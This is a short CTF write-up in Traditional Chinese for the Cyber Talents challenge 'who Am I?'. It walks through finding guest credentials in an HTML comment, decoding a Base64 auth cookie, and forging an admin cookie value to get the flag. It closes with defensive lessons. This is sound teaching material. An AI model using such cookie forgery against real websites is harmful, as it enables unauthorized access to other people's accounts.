1 min read

Cyber Talents - who Am I? writeup (zh-TW)

Cyber Talents - who Am I? writeup (zh-TW)

題目資訊

解題過程

Step 1: 初步偵察

訪問網站,發現登入頁面。查看原始碼發現:

<!-- 
    Guest Account:
    -=-=-=-=-=-=-=-
    Username:Guest
    Password:Guest  
-->

Step 2: Guest 登入

使用 Guest/Guest 登入,顯示:

Welcome Guest!

開啟 F12 → Application → Cookies,發現:

Name: auth
Value: bG9naW49R3Vlc3Q%3D

Step 4: 解碼分析

URL 解碼

decodeURIComponent('bG9naW49R3Vlc3Q%3D')
// 結果: 'bG9naW49R3Vlc3Q='

Base64 解碼

atob('bG9naW49R3Vlc3Q=')
// 結果: 'login=Guest'
// 編碼 admin 身份
btoa('login=admin')
// 結果: 'bG9naW49YWRtaW4='

在開發者工具中:

  1. 雙擊 cookie 值
  2. 貼上:bG9naW49YWRtaW4=
  3. 重新整理頁面

Step 7: 獲得 Flag

Welcome admin!
Flag: [FLAG_HERE]

學習重點

  • HTML 註解洩漏:永遠檢查原始碼註解
  • Cookie 偽造:客戶端資料都可以被修改
  • 編碼 ≠ 加密:Base64 只是編碼,不提供安全性
  • 身份驗證缺陷:權限不應存在客戶端 Cookie 中